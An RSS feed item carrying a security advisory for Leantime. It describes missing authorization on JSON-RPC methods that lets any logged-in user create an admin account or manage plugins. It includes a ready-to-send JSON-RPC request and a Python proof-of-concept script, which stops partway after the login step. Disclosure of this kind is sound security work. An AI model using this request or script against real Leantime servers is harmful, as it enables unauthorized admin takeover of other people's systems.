<?xml version="1.0" encoding="UTF-8"?><rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title>GitHub Advisory Database RSS - composer - reviewed</title><link>https://github.com/advisories</link><atom:link href="http://rss.144-124-237-35.sslip.io/github/advisor/data/reviewed/composer" rel="self" type="application/rss+xml"></atom:link><description>GitHub Advisory Database RSS - composer - reviewed - Powered by AtomRSS</description><generator>AtomRSS</generator><webMaster>contact@atomgroup.dev (AtomRSS)</webMaster><language>en</language><lastBuildDate>Sun, 18 Oct 2026 16:25:37 GMT</lastBuildDate><ttl>5</ttl><item><title>Leantime: Any Authenticated User Can Self-Escalate to Admin via Unauthorized JSON-RPC Methods</title><description>&lt;h3&gt;Summary&lt;/h3&gt;
&lt;p&gt;Any authenticated Leantime user - including the lowest-privilege &lt;code class=&quot;notranslate&quot;&gt;readonly&lt;/code&gt; role - can escalate to full administrative access by calling the JSON-RPC method &lt;code class=&quot;notranslate&quot;&gt;leantime.rpc.api.api.createApiKeyWithProjects&lt;/code&gt; with an attacker-chosen &lt;code class=&quot;notranslate&quot;&gt;role&lt;/code&gt; value. The server creates a new account at that role with no authorization check, and the resulting credentials work as a fully interactive admin login through the ordinary web UI. The same root cause (missing per-method authorization on JSON-RPC-exposed service methods) also leaves the &lt;code class=&quot;notranslate&quot;&gt;Plugins&lt;/code&gt; service&#39;s &lt;code class=&quot;notranslate&quot;&gt;installPlugin&lt;/code&gt;, &lt;code class=&quot;notranslate&quot;&gt;enablePlugin&lt;/code&gt;, &lt;code class=&quot;notranslate&quot;&gt;disablePlugin&lt;/code&gt;, and &lt;code class=&quot;notranslate&quot;&gt;removePlugin&lt;/code&gt; methods callable by any authenticated user with no role check, even though their web-UI equivalents correctly require an admin/owner role.&lt;/p&gt;
&lt;h3&gt;Details&lt;/h3&gt;
&lt;p&gt;Leantime&#39;s JSON-RPC API (&lt;code class=&quot;notranslate&quot;&gt;app/Domain/Api/Controllers/Jsonrpc.php&lt;/code&gt;) reflects any public method on any &lt;code class=&quot;notranslate&quot;&gt;@api&lt;/code&gt;-annotated service class and dispatches it at &lt;code class=&quot;notranslate&quot;&gt;leantime.rpc.{domain}.{service}.{method}&lt;/code&gt;. Per-method authorization is enforced by &lt;code class=&quot;notranslate&quot;&gt;PermissionEnforcer::enforce()&lt;/code&gt; (&lt;code class=&quot;notranslate&quot;&gt;app/Core/Auth/Permissions/PermissionEnforcer.php&lt;/code&gt;), which reads a &lt;code class=&quot;notranslate&quot;&gt;#[RequiresPermission(...)]&lt;/code&gt; PHP attribute off the target method - but when that attribute is &lt;strong&gt;absent&lt;/strong&gt;, &lt;code class=&quot;notranslate&quot;&gt;enforce()&lt;/code&gt; silently returns and allows the call through.&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;notranslate&quot;&gt;Api::createApiKeyWithProjects(array $values, ?array $projects)&lt;/code&gt; (&lt;code class=&quot;notranslate&quot;&gt;app/Domain/Api/Services/Api.php&lt;/code&gt;) is &lt;code class=&quot;notranslate&quot;&gt;@api&lt;/code&gt;-exposed and carries no &lt;code class=&quot;notranslate&quot;&gt;#[RequiresPermission]&lt;/code&gt; attribute. It forwards &lt;code class=&quot;notranslate&quot;&gt;$values&lt;/code&gt; - including a caller-supplied &lt;code class=&quot;notranslate&quot;&gt;role&lt;/code&gt; - directly into &lt;code class=&quot;notranslate&quot;&gt;createAPIKey()&lt;/code&gt; → &lt;code class=&quot;notranslate&quot;&gt;Users\Repositories\Users::addUser()&lt;/code&gt;, with no server-side clamping of &lt;code class=&quot;notranslate&quot;&gt;role&lt;/code&gt; against the calling user&#39;s own privilege level:&lt;/p&gt;
&lt;div class=&quot;highlight highlight-text-html-php&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&lt;span class=&quot;pl-c&quot;&gt;// app/Domain/Api/Services/Api.php&lt;/span&gt;
&lt;span class=&quot;pl-c&quot;&gt;/**&lt;/span&gt;
&lt;span class=&quot;pl-c&quot;&gt; * @api&lt;/span&gt;
&lt;span class=&quot;pl-c&quot;&gt; */&lt;/span&gt;
&lt;span class=&quot;pl-k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;pl-k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;pl-en&quot;&gt;createApiKeyWithProjects&lt;/span&gt;(&lt;span class=&quot;pl-smi&quot;&gt;array&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;values&lt;/span&gt;, ?&lt;span class=&quot;pl-smi&quot;&gt;array&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;projects&lt;/span&gt;): &lt;span class=&quot;pl-smi&quot;&gt;array&lt;/span&gt;|&lt;span class=&quot;pl-smi&quot;&gt;false&lt;/span&gt;
{
    &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;apiKeyValues&lt;/span&gt; = &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;pl-smi&quot;&gt;this&lt;/span&gt;&lt;/span&gt;-&amp;gt;&lt;span class=&quot;pl-en&quot;&gt;createAPIKey&lt;/span&gt;(&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;values&lt;/span&gt;);   &lt;span class=&quot;pl-c&quot;&gt;// no #[RequiresPermission], no role check&lt;/span&gt;
    &lt;span class=&quot;pl-c1&quot;&gt;.&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;.&lt;/span&gt;
}&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The equivalent web route (&lt;code class=&quot;notranslate&quot;&gt;NewApiKey&lt;/code&gt; controller) correctly gates account creation behind an admin-only role check (&lt;code class=&quot;notranslate&quot;&gt;Auth::authOrRedirect([Roles::$admin, ...])&lt;/code&gt;), but that gate is bypassed entirely by calling the service directly through JSON-RPC.&lt;/p&gt;
&lt;p&gt;Separately, &lt;code class=&quot;notranslate&quot;&gt;Plugins::installPlugin()&lt;/code&gt;, &lt;code class=&quot;notranslate&quot;&gt;enablePlugin()&lt;/code&gt;, &lt;code class=&quot;notranslate&quot;&gt;disablePlugin()&lt;/code&gt;, and &lt;code class=&quot;notranslate&quot;&gt;removePlugin()&lt;/code&gt; (&lt;code class=&quot;notranslate&quot;&gt;app/Domain/Plugins/Services/Plugins.php&lt;/code&gt;, lines ~266/299/320/342) share the same gap: all four are &lt;code class=&quot;notranslate&quot;&gt;@api&lt;/code&gt;-exposed with no &lt;code class=&quot;notranslate&quot;&gt;#[RequiresPermission]&lt;/code&gt;, while their web-controller equivalents (&lt;code class=&quot;notranslate&quot;&gt;Myapps.php&lt;/code&gt;, &lt;code class=&quot;notranslate&quot;&gt;Details.php&lt;/code&gt;) correctly require &lt;code class=&quot;notranslate&quot;&gt;Roles::$owner&lt;/code&gt;/&lt;code class=&quot;notranslate&quot;&gt;Roles::$admin&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Authenticating to the JSON-RPC endpoint with an ordinary browser session cookie (rather than a dedicated API key) is sufficient, provided the request carries an &lt;code class=&quot;notranslate&quot;&gt;X-Requested-With: XMLHttpRequest&lt;/code&gt; header (&lt;code class=&quot;notranslate&quot;&gt;app/Core/Middleware/StartSession.php&lt;/code&gt;) - this is exactly what the application&#39;s own first-party JS client already sends, so no special tooling beyond a normal authenticated session is needed.&lt;/p&gt;
&lt;h3&gt;PoC&lt;/h3&gt;
&lt;p&gt;A runnable Python PoC (&lt;code class=&quot;notranslate&quot;&gt;requests&lt;/code&gt; library only) reproduces this end-to-end; see the attached &lt;code class=&quot;notranslate&quot;&gt;poc.py&lt;/code&gt;. Steps:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Create/authenticate as a &lt;code class=&quot;notranslate&quot;&gt;readonly&lt;/code&gt;-role account (the lowest privilege level). Confirm it is correctly blocked (HTTP 403) from an admin-only page, e.g. &lt;code class=&quot;notranslate&quot;&gt;/plugins/myapps&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;From that same low-privilege session, send:
&lt;pre class=&quot;notranslate&quot;&gt;&lt;code class=&quot;notranslate&quot;&gt;POST /api/jsonrpc
Content-Type: application/json
X-Requested-With: XMLHttpRequest

{&quot;jsonrpc&quot;:&quot;2.0&quot;,&quot;id&quot;:1,&quot;method&quot;:&quot;leantime.rpc.api.api.createApiKeyWithProjects&quot;,
 &quot;params&quot;:{&quot;values&quot;:{&quot;firstname&quot;:&quot;poc&quot;,&quot;role&quot;:40,&quot;status&quot;:&quot;a&quot;},&quot;projects&quot;:[]}}
&lt;/code&gt;&lt;/pre&gt;
The server responds &lt;code class=&quot;notranslate&quot;&gt;HTTP 200&lt;/code&gt; with the newly created account&#39;s &lt;code class=&quot;notranslate&quot;&gt;user&lt;/code&gt;/&lt;code class=&quot;notranslate&quot;&gt;passwordClean&lt;/code&gt; and &lt;code class=&quot;notranslate&quot;&gt;&quot;role&quot;:40&lt;/code&gt; (admin) in the JSON body.&lt;/li&gt;
&lt;li&gt;Log in through the normal &lt;code class=&quot;notranslate&quot;&gt;/auth/login&lt;/code&gt; form using the returned &lt;code class=&quot;notranslate&quot;&gt;user&lt;/code&gt;/&lt;code class=&quot;notranslate&quot;&gt;passwordClean&lt;/code&gt;. The resulting session now has full, interactive access to &lt;code class=&quot;notranslate&quot;&gt;/plugins/myapps&lt;/code&gt; (HTTP 200) - the exact page that returned 403 in step 1.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Reproduced against a local instance built from this repository&#39;s own &lt;code class=&quot;notranslate&quot;&gt;.dev&lt;/code&gt; Docker tooling (&lt;code class=&quot;notranslate&quot;&gt;.dev/docker-compose.yaml&lt;/code&gt;), with dependencies installed via &lt;code class=&quot;notranslate&quot;&gt;composer install&lt;/code&gt; / &lt;code class=&quot;notranslate&quot;&gt;npx mix&lt;/code&gt; and no modifications to application code.&lt;/p&gt;
&lt;h3&gt;Impact&lt;/h3&gt;
&lt;p&gt;Complete compromise of any Leantime instance by an attacker who controls, or can register/be granted, any authenticated account - including the lowest-privilege &lt;code class=&quot;notranslate&quot;&gt;readonly&lt;/code&gt; role. No admin credentials, tokens, or prior access beyond an ordinary low-privilege login are required. This is a full authenticated-to-admin privilege escalation (CWE-862 Missing Authorization, CWE-269 Improper Privilege Management). Combined with the plugin-management gap described above, it further extends to arbitrary plugin install/enable/disable/remove, a path toward code-execution-level impact tracked from the same root cause.&lt;/p&gt;
&lt;p&gt;Script : poc.py&lt;/p&gt;
&lt;div class=&quot;highlight highlight-source-python&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&lt;span class=&quot;pl-c&quot;&gt;#!/usr/bin/env python3&lt;/span&gt;
&lt;span class=&quot;pl-s&quot;&gt;&quot;&quot;&quot;&lt;/span&gt;
&lt;span class=&quot;pl-s&quot;&gt;What this script does, against a target Leantime instance:&lt;/span&gt;
&lt;span class=&quot;pl-s&quot;&gt;  1. Logs in as a LOW-PRIVILEGE account (readonly role by default).&lt;/span&gt;
&lt;span class=&quot;pl-s&quot;&gt;  2. Confirms the account is correctly blocked by the normal web UI from an&lt;/span&gt;
&lt;span class=&quot;pl-s&quot;&gt;     admin-only page (expects HTTP 403) -- this establishes the account truly&lt;/span&gt;
&lt;span class=&quot;pl-s&quot;&gt;     has no admin rights before the exploit runs.&lt;/span&gt;
&lt;span class=&quot;pl-s&quot;&gt;  3. Calls leantime.rpc.api.api.createApiKeyWithProjects over JSON-RPC using&lt;/span&gt;
&lt;span class=&quot;pl-s&quot;&gt;     nothing but that account&#39;s own ordinary session cookie, requesting&lt;/span&gt;
&lt;span class=&quot;pl-s&quot;&gt;     role=40 (admin). No admin/API-key credential is used anywhere in this&lt;/span&gt;
&lt;span class=&quot;pl-s&quot;&gt;     step -- only the low-privilege session established in step 1.&lt;/span&gt;
&lt;span class=&quot;pl-s&quot;&gt;  4. Logs in through the completely ordinary web login form using the&lt;/span&gt;
&lt;span class=&quot;pl-s&quot;&gt;     generated username/password from step 3, and confirms that account now&lt;/span&gt;
&lt;span class=&quot;pl-s&quot;&gt;     has full, interactive admin access to the same admin-only page that&lt;/span&gt;
&lt;span class=&quot;pl-s&quot;&gt;     blocked the original low-privilege account in step 2. (The record is&lt;/span&gt;
&lt;span class=&quot;pl-s&quot;&gt;     created with source=&#39;&#39; rather than source=&#39;api&#39; -- createAPIKey() never&lt;/span&gt;
&lt;span class=&quot;pl-s&quot;&gt;     sets that column -- so it does NOT work as an x-api-key credential, but&lt;/span&gt;
&lt;span class=&quot;pl-s&quot;&gt;     it is a fully functional role=40 web login, which is a stronger and&lt;/span&gt;
&lt;span class=&quot;pl-s&quot;&gt;     more direct proof of impact.)&lt;/span&gt;
&lt;span class=&quot;pl-s&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;pl-s&quot;&gt;Requirements: pip install requests&lt;/span&gt;
&lt;span class=&quot;pl-s&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;pl-s&quot;&gt;Usage:&lt;/span&gt;
&lt;span class=&quot;pl-s&quot;&gt;  python3 poc.py --url http://localhost:5080 &lt;span class=&quot;pl-cce&quot;&gt;\\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;pl-s&quot;&gt;      --username lowpriv@leantime.test --password &#39;LowPriv123!&#39;&lt;/span&gt;
&lt;span class=&quot;pl-s&quot;&gt;&quot;&quot;&quot;&lt;/span&gt;

&lt;span class=&quot;pl-k&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;argparse&lt;/span&gt;
&lt;span class=&quot;pl-k&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;sys&lt;/span&gt;

&lt;span class=&quot;pl-k&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;requests&lt;/span&gt;


&lt;span class=&quot;pl-k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;pl-en&quot;&gt;rpc_call&lt;/span&gt;(&lt;span class=&quot;pl-s1&quot;&gt;session&lt;/span&gt;: &lt;span class=&quot;pl-s1&quot;&gt;requests&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;Session&lt;/span&gt;, &lt;span class=&quot;pl-s1&quot;&gt;base_url&lt;/span&gt;: &lt;span class=&quot;pl-smi&quot;&gt;str&lt;/span&gt;, &lt;span class=&quot;pl-s1&quot;&gt;method&lt;/span&gt;: &lt;span class=&quot;pl-smi&quot;&gt;str&lt;/span&gt;, &lt;span class=&quot;pl-s1&quot;&gt;params&lt;/span&gt;: &lt;span class=&quot;pl-smi&quot;&gt;dict&lt;/span&gt;, &lt;span class=&quot;pl-s1&quot;&gt;extra_headers&lt;/span&gt;: &lt;span class=&quot;pl-s1&quot;&gt;dict&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;None&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;None&lt;/span&gt;):
    &lt;span class=&quot;pl-s&quot;&gt;&quot;&quot;&quot;Call a JSON-RPC method. Sends X-Requested-With so the session-based&lt;/span&gt;
&lt;span class=&quot;pl-s&quot;&gt;    guard actually loads the caller&#39;s real, persisted session (see&lt;/span&gt;
&lt;span class=&quot;pl-s&quot;&gt;    StartSession.php:65) -- without it, API requests get a fresh, empty,&lt;/span&gt;
&lt;span class=&quot;pl-s&quot;&gt;    in-memory session and every call 401s regardless of login state.&quot;&quot;&quot;&lt;/span&gt;
    &lt;span class=&quot;pl-s1&quot;&gt;headers&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt; {
        &lt;span class=&quot;pl-s&quot;&gt;&quot;Content-Type&quot;&lt;/span&gt;: &lt;span class=&quot;pl-s&quot;&gt;&quot;application/json&quot;&lt;/span&gt;,
        &lt;span class=&quot;pl-s&quot;&gt;&quot;X-Requested-With&quot;&lt;/span&gt;: &lt;span class=&quot;pl-s&quot;&gt;&quot;XMLHttpRequest&quot;&lt;/span&gt;,
    }
    &lt;span class=&quot;pl-k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;extra_headers&lt;/span&gt;:
        &lt;span class=&quot;pl-s1&quot;&gt;headers&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;update&lt;/span&gt;(&lt;span class=&quot;pl-s1&quot;&gt;extra_headers&lt;/span&gt;)

    &lt;span class=&quot;pl-s1&quot;&gt;resp&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;session&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;post&lt;/span&gt;(
        &lt;span class=&quot;pl-s&quot;&gt;f&quot;&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;base_url&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;/span&gt;/api/jsonrpc&quot;&lt;/span&gt;,
        &lt;span class=&quot;pl-s1&quot;&gt;json&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt;{&lt;span class=&quot;pl-s&quot;&gt;&quot;jsonrpc&quot;&lt;/span&gt;: &lt;span class=&quot;pl-s&quot;&gt;&quot;2.0&quot;&lt;/span&gt;, &lt;span class=&quot;pl-s&quot;&gt;&quot;id&quot;&lt;/span&gt;: &lt;span class=&quot;pl-c1&quot;&gt;1&lt;/span&gt;, &lt;span class=&quot;pl-s&quot;&gt;&quot;method&quot;&lt;/span&gt;: &lt;span class=&quot;pl-s1&quot;&gt;method&lt;/span&gt;, &lt;span class=&quot;pl-s&quot;&gt;&quot;params&quot;&lt;/span&gt;: &lt;span class=&quot;pl-s1&quot;&gt;params&lt;/span&gt;},
        &lt;span class=&quot;pl-s1&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;headers&lt;/span&gt;,
    )
    &lt;span class=&quot;pl-k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;resp&lt;/span&gt;


&lt;span class=&quot;pl-k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;pl-en&quot;&gt;main&lt;/span&gt;():
    &lt;span class=&quot;pl-s1&quot;&gt;parser&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;argparse&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;ArgumentParser&lt;/span&gt;(&lt;span class=&quot;pl-s1&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;__doc__&lt;/span&gt;, &lt;span class=&quot;pl-s1&quot;&gt;formatter_class&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;argparse&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;RawDescriptionHelpFormatter&lt;/span&gt;)
    &lt;span class=&quot;pl-s1&quot;&gt;parser&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;add_argument&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;&quot;--url&quot;&lt;/span&gt;, &lt;span class=&quot;pl-s1&quot;&gt;required&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;True&lt;/span&gt;, &lt;span class=&quot;pl-s1&quot;&gt;help&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pl-s&quot;&gt;&quot;Base URL of the target Leantime instance, e.g. http://localhost:5080&quot;&lt;/span&gt;)
    &lt;span class=&quot;pl-s1&quot;&gt;parser&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;add_argument&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;&quot;--username&quot;&lt;/span&gt;, &lt;span class=&quot;pl-s1&quot;&gt;required&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;True&lt;/span&gt;, &lt;span class=&quot;pl-s1&quot;&gt;help&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pl-s&quot;&gt;&quot;Email of a LOW-privilege test account (e.g. readonly role)&quot;&lt;/span&gt;)
    &lt;span class=&quot;pl-s1&quot;&gt;parser&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;add_argument&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;&quot;--password&quot;&lt;/span&gt;, &lt;span class=&quot;pl-s1&quot;&gt;required&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;True&lt;/span&gt;, &lt;span class=&quot;pl-s1&quot;&gt;help&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pl-s&quot;&gt;&quot;Password for that account&quot;&lt;/span&gt;)
    &lt;span class=&quot;pl-s1&quot;&gt;parser&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;add_argument&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;&quot;--admin-check-path&quot;&lt;/span&gt;, &lt;span class=&quot;pl-s1&quot;&gt;default&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pl-s&quot;&gt;&quot;/plugins/myapps&quot;&lt;/span&gt;, &lt;span class=&quot;pl-s1&quot;&gt;help&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pl-s&quot;&gt;&quot;An admin-only web page used to confirm the account has no admin rights (default: /plugins/myapps)&quot;&lt;/span&gt;)
    &lt;span class=&quot;pl-s1&quot;&gt;parser&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;add_argument&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;&quot;--insecure&quot;&lt;/span&gt;, &lt;span class=&quot;pl-s1&quot;&gt;action&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pl-s&quot;&gt;&quot;store_true&quot;&lt;/span&gt;, &lt;span class=&quot;pl-s1&quot;&gt;help&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pl-s&quot;&gt;&quot;Disable TLS verification (for self-signed local/dev instances)&quot;&lt;/span&gt;)
    &lt;span class=&quot;pl-s1&quot;&gt;args&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;parser&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;parse_args&lt;/span&gt;()

    &lt;span class=&quot;pl-s1&quot;&gt;verify&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;args&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;insecure&lt;/span&gt;
    &lt;span class=&quot;pl-s1&quot;&gt;base_url&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;args&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;url&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;rstrip&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;&quot;/&quot;&lt;/span&gt;)
    &lt;span class=&quot;pl-s1&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;requests&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;Session&lt;/span&gt;()
    &lt;span class=&quot;pl-s1&quot;&gt;s&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;verify&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;verify&lt;/span&gt;

    &lt;span class=&quot;pl-en&quot;&gt;print&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;f&quot;[*] Target: &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;base_url&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&quot;&lt;/span&gt;)

    &lt;span class=&quot;pl-c&quot;&gt;# Step 1: log in as the low-privilege account via the ordinary web form.&lt;/span&gt;
    &lt;span class=&quot;pl-en&quot;&gt;print&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;f&quot;[*] Logging in as low-privilege account: &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;args&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;username&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&quot;&lt;/span&gt;)
    &lt;span class=&quot;pl-s1&quot;&gt;s&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;get&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;f&quot;&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;base_url&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;/span&gt;/auth/login&quot;&lt;/span&gt;)  &lt;span class=&quot;pl-c&quot;&gt;# prime session cookie&lt;/span&gt;
    &lt;span class=&quot;pl-s1&quot;&gt;login_resp&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;s&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;post&lt;/span&gt;(
        &lt;span class=&quot;pl-s&quot;&gt;f&quot;&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;base_url&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;/span&gt;/auth/login&quot;&lt;/span&gt;,
        &lt;span class=&quot;pl-s1&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt;{
            &lt;span class=&quot;pl-s&quot;&gt;&quot;username&quot;&lt;/span&gt;: &lt;span class=&quot;pl-s1&quot;&gt;args&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;username&lt;/span&gt;,
            &lt;span class=&quot;pl-s&quot;&gt;&quot;password&quot;&lt;/span&gt;: &lt;span class=&quot;pl-s1&quot;&gt;args&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;password&lt;/span&gt;,
            &lt;span class=&quot;pl-s&quot;&gt;&quot;redirectUrl&quot;&lt;/span&gt;: &lt;span class=&quot;pl-s&quot;&gt;&quot;/dashboard/home&quot;&lt;/span&gt;,  &lt;span class=&quot;pl-c&quot;&gt;# avoid the unrelated empty-redirectUrl 500 bug&lt;/span&gt;
        },
        &lt;span class=&quot;pl-s1&quot;&gt;allow_redirects&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;False&lt;/span&gt;,
    )
    &lt;span class=&quot;pl-k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;login_resp&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;status_code&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;in&lt;/span&gt;&lt;/span&gt; (&lt;span class=&quot;pl-c1&quot;&gt;302&lt;/span&gt;, &lt;span class=&quot;pl-c1&quot;&gt;303&lt;/span&gt;):
        &lt;span class=&quot;pl-en&quot;&gt;print&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;f&quot;[!] Login did not redirect as expected (got &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;login_resp&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;status_code&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;/span&gt;). Aborting.&quot;&lt;/span&gt;)
        &lt;span class=&quot;pl-s1&quot;&gt;sys&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;exit&lt;/span&gt;(&lt;span class=&quot;pl-c1&quot;&gt;1&lt;/span&gt;)
